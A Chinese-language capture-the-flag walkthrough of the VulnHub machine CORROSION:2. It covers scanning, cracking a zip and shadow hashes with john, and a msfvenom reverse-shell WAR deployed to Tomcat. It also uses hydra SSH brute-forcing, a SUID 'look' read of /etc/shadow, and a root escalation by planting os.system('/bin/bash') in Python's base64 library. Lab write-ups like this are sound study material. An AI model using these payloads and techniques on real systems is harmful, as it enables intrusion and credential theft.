CORROSION:2
前言:CORROSION系列第二个靶机,靶机下载地址:https://www.vulnhub.com/entry/corrosion-2,745/ 难度:Medium
Hint: Enumeration is key.
环境搭建:Vmware,靶机默认的是桥接模式联网
信息收集
使用nmap -sn 192.168.246.0/24
对靶机所在网段进行主机存活探测。发现该网段中靶机地址是192.168.246.134
对靶机进行全端口扫描nmap -p- --min-rate 1000 192.168.246.134
,使用-p-表示全端口即0~65535,–min-rate n表示每秒至少发n个数据包。
从扫描的结果中可以看出该靶机开放了22、80、8080端口,接下来使用nmap对这些端口进行详细的TCP扫描。nmap -p22,80,8080 -sT -sC -sV --script=vuln 192.168.246.134
,对靶机进行TCP全连接扫描,并使用默认的脚本进行漏洞探测。
在扫描的结果中22和80端口没有特殊的信息,80端口是apache的默认页面。8080号端口部署的是tomcat,使用默认脚本扫描发现了存在一个backup.zip文件和一些目录结构。
从web服务进行突破,对80和8080端口均进行目录扫描,这里使用dirsaerch和feroxbuster 进行爆破。
feroxbuster -u http://192.168.246.134/ -w=/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
80端口还是未发现其他文件可目录。使用dirsearch对8080进行爆破dirsearch -u http://192.168.246.134
。
除了nmap扫描到的backup.zip外也没发现其他的信息。此时,信息收集在这台靶机上差不多就完成了。
备份文件泄露
对最可能存在漏洞点的8080端口的tomcat进行深度挖掘。尝试登录manager。使用tomcat/tomcat, admin/admin 等都未成功。于是下载备份文件看看。
爆破zip密码
解压需要密码,同样使用zip2john和john爆破一下密码。zip2john ./backup.zip > pass
再使用john对pass进行撞库 john -w=/usr/share/wordlists/rockyou.txt pass
得到密码:@administrator_hi5
解密backup.zip文件,得到一些tomcat的配置文件。
查看这些文件时,在tomcat-users.xml发现一对账密:admin/melehifokivai
使用这对账密登录一下tomcat的管理页面。成功登录
部署war后门
使用msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.246.128 LPORT=80 -f war -o revshell.war
生成一个war后门,然后上传上去。
然后在本机监听80端口,再访问后门。成功得到tomcat的shell。
查看/etc/passwd文件发现4个用户有登录权限。先都记录下来备用。
发现tomcat有一个定时任务,这里没什么用处。。
上传pspy,也没有发现其他的定时任务等可以利用的信息
用户密码枚举
使用在/etc/passwd中发现的用户名和tomcat-users.xml中的密码进行撞库。
用户名字典:userlist
密码字典:pass
使用hydra进行ssh的枚举爆破:hydra -L userlist -P passwd ssh:192.168.246.134
。
发现可以登录到aye用户。
普通用户ssh权限
这里再查看一下有哪些具有SUID权限的文件find / -perm -u=s -type f 2>/dev/null
。
发现一个home/jaye/Files/look文件比较特殊,并发现可以进行越权操作。利用方式
利用方式如:home/jaye/Files/look '' "/etc/shadow"
SUID 越权查看影子文件
这里通过look可以查看到任意文件,通过这个就想到直接查看root.txt文件。但是为了得到root的shell就看能不能通过破解一下shadow文件得到其他用户的权限进行提权。
使用home/jaye/Files/look查看/etc/shadow、/root/root.txt等文件。
将shadow和passwd文件一起进行爆破。先用unshadow shadow passwd > unshadow
得到一个使用john破解的文件,再使用john破解。
这里花了块1个小时的时间才破解出一个密码。。也没发现其他的可以利用的信息。于是将root和randy用户的hash单独提出来进行爆破。
成功爆破出randy的密码:07051986randy
.
切换到randy用户查看是否能进行提权。
登录到randy用户,发现可以无密码以root权限去执行一个python脚本。
这个脚本就是调用base64的库然后进行base64加密和解密的操作功能的。
但是randy用户没有修改的权限。
看是否可以修改base64这个库文件进行提权。查看base64库文件在哪find / -name "*base64.py" 2>/dev/null
/usr/lib/python3.8/base64.py具有可读可写的权限。
在/usr/lib/python3.8/base64.py中插入一个获取shell的代码,再以sudo权限去执行就可以得到root权限了。如下,在该文件中加入一个使用os.system('/bin/bash')
让其在运行时获取一个bash环境。
获取Root权限
运行sudo /usr/bin/python3.8 /home/randy/randombase64.py
获取root权限。
总结
这两个靶机中主要是对爆破、密码复用的运用,包括参数、密码爆破等,整体的思路较为简单。然后在查看其他打靶文章时发现在tomcat的shell下就可以利用polkit-agent-helper-1的CVE-2021-4034漏洞进行提权了,但是后面没有复现成功。
参考资料:
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat#metasploit
https://gtfobins.github.io/gtfobins/look/#suid
vulnhub靶场——CORROSION:2_corrosion 2_Czheisenberg的博客-CSDN博客